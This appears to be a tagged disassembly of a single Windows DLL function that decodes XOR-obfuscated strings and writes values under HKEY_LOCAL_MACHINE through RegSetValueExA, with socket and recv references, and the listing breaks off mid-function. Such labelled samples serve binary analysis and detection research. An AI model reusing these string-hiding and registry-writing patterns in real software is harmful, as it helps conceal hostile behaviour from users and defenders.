Function at 0x180048ba0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1050]
mov eax, 0x1150
call fcn.180056f30
sub rsp, rax
mov rax, qword [0x18009e040]
xor rax, rsp
mov qword [rbp + 0xff0], rax
movsd xmm0, qword [str.XCUV]
xor r14d, r14d
cmp byte [0x180088529], r14b
mov rdi, rdx
movzx eax, word [0x180088528]
mov rsi, rcx
mov dword [rbp - 0x18], r14d
movsd qword [rbp - 0x70], xmm0
mov word [rbp - 0x68], ax
je 0x180048c2a
xor byte [rbp - 0x6f], 0x37
xor byte [rbp - 0x6e], 0x38
xor byte [rbp - 0x6d], 0x39
xor byte [rbp - 0x6c], 0x3a
xor byte [rbp - 0x6b], 0x3b
xor byte [rbp - 0x6a], 0x3c
xor byte [rbp - 0x69], 0x3d
xor byte [rbp - 0x68], 0x3e
xor byte [rbp - 0x67], 0x3f
mov byte [rbp - 0x70], 0x6e
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x38], rax
mov r9d, 3
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x30], rax
xor r8d, r8d
lea rax, [rbp - 0x18]
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x28], rax
xor edx, edx
lea rax, [rbp - 0x40]
mov qword [rbp - 0x40], 0x22456c
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rbx, qword [rbp - 0x80]
test rbx, rbx
jne 0x180048c90
mov rax, 0xfffffffffffffff6
jmp 0x180049fa6
mov qword [rsp + 0x38], rdi
test rdi, rdi
jne 0x180048ca6
mov rax, 0xffffffffffffffec
jmp 0x180049fa6
lea rcx, [rdi + 0x69e]
call fcn.180047f30
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x180048cc8
mov rax, 0xffffffffffffffe2
jmp 0x180049fa6
movzx ecx, word [0x180088690]
mov r9d, 3
movzx eax, byte [0x180088692]
xor r8d, r8d
movsd xmm0, qword [str.zSJuUZXyRS_]
xor al, 0x40
movsd qword [rbp - 0x70], xmm0
xor edx, edx
xor byte [rbp - 0x6f], 0x37
xor byte [rbp - 0x6e], 0x38
xor byte [rbp - 0x6d], 0x39
xor byte [rbp - 0x6c], 0x3a
xor byte [rbp - 0x6b], 0x3b
xor byte [rbp - 0x6a], 0x3c
xor byte [rbp - 0x69], 0x3d
mov word [rbp - 0x68], cx
xor cl, 0x3e
xor byte [rbp - 0x67], 0x3f
mov byte [rbp - 0x66], al
lea rax, [rbp - 0x70]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x80]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x40]
mov byte [rbp - 0x68], cl
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x28
mov qword [rsp + 0x20], rax
mov byte [rbp - 0x70], 0x4c
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x40], 0x2246d4
mov qword [rbp - 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x180048d7d
mov rax, 0xffffffffffffffd8
jmp 0x180049fa6
movzx eax, word [0x180088674]
mov r8d, r14d
movups xmm2, xmmword [str.zSJ_OlOQ__71_]
mov edi, dword [0x18009e0a0]
mov ecx, dword [str._:_98L]
movaps xmmword [rsp + 0x1140], xmm6
movdqa xmm6, xmmword [0x180088740]
movaps xmmword [rsp + 0x1130], xmm7
movdqa xmm7, xmmword [0x1800886c0]
movaps xmmword [rsp + 0x1120], xmm8
movdqa xmm8, xmmword [0x180088730]
movaps xmmword [rsp + 0x1110], xmm9
movdqa xmm9, xmmword [str.7777]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x180088676]
movaps xmmword [rsp + 0x1100], xmm10
movdqa xmm10, xmmword [0x180088750]
mov byte [rbp - 0x5a], al
mov dword [rbp - 0x60], ecx
movups xmmword [rbp - 0x70], xmm2
cmp edi, 2
jl 0x180048ff2
movdqa xmm3, xmmword [0x1800886e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1800886d0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
xorps xmm1, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmm9
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [rbp - 0x6c]
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmuldq xmm1, xmm6
paddb xmm2, xmm10
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmmword [0x1800886f0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm3, xmm0
punpckldq xmm1, xmm2
movd xmm0, dword [rbp - 0x68]
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
pmuldq xmm1, xmm6
paddb xmm3, xmm10
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movd dword [rbp - 0x68], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm3, xmmword [0x180088700]
paddb xmm2, xmm10
movd xmm0, dword [rbp - 0x64]
movdqa xmm1, xmm3
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movdqa xmm0, xmm3
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm3
mov r8d, socket
pmuldq xmm0, xmm6
movd dword [rbp - 0x64], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm10
xorps xmm3, xmm0
movd dword [rbp - 0x60], xmm3
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x180049000
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x30], rax
mov r9d, 3
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x20], rax
xor r8d, r8d
lea rax, [rbp - 0x40]
mov qword [rbp - 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x40], 0x2246d4
mov qword [rbp - 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x180049097
mov rax, 0xffffffffffffffce
jmp 0x180049f7b
cmp byte [0x180088067], r14b
movups xmm2, xmmword [str.xCyUVT_JZ]
movsd xmm0, qword [0x180088060]
movups xmmword [rbp - 0x70], xmm2
movsd qword [rbp - 0x60], xmm0
je 0x180049363
mov r8d, r14d
cmp edi, 2
jl 0x180049320
movdqa xmm3, xmmword [0x1800886e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1800886d0]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmmword [0x1800886f0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x68], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm3, xmmword [0x180088700]
psubd xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x64], xmm2
movdqa xmm2, xmmword [0x180088710]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x60]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
xorps xmm3, xmm1
movdqa xmm1, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x60], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x5c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x5c], xmm2
jmp 0x180049363
lea r9, [rbp - 0x70]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x29e4129f
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x180049330
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x30], rax
mov r9d, 3
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x20], rax
xor r8d, r8d
lea rax, [rbp - 0x40]
mov qword [rbp - 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x40], 0x2246d4
mov qword [rbp - 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x1800493ca
mov rax, 0xffffffffffffffc4
jmp 0x180049f7b
movzx eax, word [0x18008865c]
mov r8d, r14d
mov edx, dword [0x180088658]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x18008865e]
mov byte [rbp - 0x5a], al
mov dword [rbp - 0x60], edx
movups xmm2, xmmword [str.xChKUOYJi_366___v__82L]
movups xmmword [rbp - 0x70], xmm2
cmp edi, 2
jl 0x1800495f7
movdqa xmm3, xmmword [0x1800886e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1800886d0]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmmword [0x1800886f0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x68], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm3, xmmword [0x180088700]
psubd xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
andps xmm2, xmm8
packuswb xmm2, xmm2
mov r8d, socket
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm6
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x64], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rbp - 0x60], xmm3
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x180049610
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x30], rax
mov r9d, 3
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x20], rax
xor r8d, r8d
lea rax, [rbp - 0x40]
mov qword [rbp - 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x40], 0x2246d4
mov qword [rbp - 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x70], rax
test rax, rax
jne 0x1800496a7
mov rax, 0xffffffffffffffba
jmp 0x180049f7b
cmp byte [0x1800885e1], r14b
movups xmm2, xmmword [str.dCTpTRHPL_]
movzx eax, word [0x1800885e0]
mov word [rbp - 0x60], ax
movups xmmword [rbp - 0x70], xmm2
je 0x1800498b0
mov r8d, r14d
cmp edi, 2
jl 0x18004986c
movdqa xmm3, xmmword [0x1800886e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1800886d0]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmmword [0x1800886f0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x68], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movd xmm1, dword [rbp - 0x64]
psubd xmm2, xmm0
andps xmm2, xmm8
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180049880
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x30], rax
mov r9d, 3
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x20], rax
xor r8d, r8d
lea rax, [rbp - 0x40]
mov qword [rbp - 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x40], 0x2246d4
mov qword [rbp - 0x38], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x180049917
mov rax, 0xffffffffffffffb0
jmp 0x180049f7b
mov eax, dword [0x1800885a8]
mov ecx, r14d
mov dword [rbp - 0x28], eax
movzx eax, byte [0x1800885ac]
mov byte [rbp - 0x24], al
movups xmm0, xmmword [str.dCTxTHUnJM___]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [str._...]
movsd qword [rbp - 0x30], xmm0
cmp edi, 2
jl 0x180049a4a
movdqa xmmword [rbp - 0x70], xmm10
lea rdx, [rbp - 0x3c]
mov r8d, dword [rbp - 0x70]
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm7
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x180049960
cmp ecx, 0x1d
jge 0x180049a8c
movsxd rax, ecx
lea r8, [rbp - 0x40]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
inc ecx
sub al, dl
add al, 0x36
xor byte [r8 - 1], al
cmp ecx, 0x1d
jl 0x180049a60
lea rax, [rbp - 0x40]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x60], rax
mov r9d, 3
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x50], rax
xor r8d, r8d
lea rax, [rbp - 0x70]
mov qword [rbp - 0x58], r14
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
mov qword [rbp - 0x70], 0x2246d4
mov qword [rbp - 0x68], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x180049af3
mov rax, 0xffffffffffffffa6
jmp 0x180049f7b
movzx eax, byte [0x18008858c]
mov r8d, r14d
mov edx, dword [0x180088588]
mov dword [rbp - 0x60], edx
mov byte [rbp - 0x5c], al
movups xmm2, xmmword [0x180088578]
movups xmmword [rbp - 0x70], xmm2
cmp edi, 2
jl 0x180049d11
movdqa xmm3, xmmword [0x1800886e0]
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
movd eax, xmm2
movdqa xmm2, xmmword [0x1800886d0]
movd ecx, xmm10
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm9
psubd xmm7, xmm0
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd xmm0, ecx
paddb xmm7, xmm0
movd xmm0, eax
xorps xmm7, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movd dword [rbp - 0x70], xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
pmuldq xmm0, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmmword [0x1800886f0]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movd dword [rbp - 0x68], xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm3, xmmword [0x180088700]
andps xmm2, xmm8
movd xmm1, dword [rbp - 0x64]
mov r8d, socket
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm6
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movd dword [rbp - 0x64], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rbp - 0x60], xmm3
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x180049d20
lea rax, [rbp - 0x70]
mov dword [rsp + 0x28], 0x28
mov qword [rbp - 0x30], rax
mov r9d, 3
lea rax, [rbp - 0x80]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x20], rax
xor r8d, r8d
lea rax, [rbp - 0x40]
mov qword [rbp - 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], rax
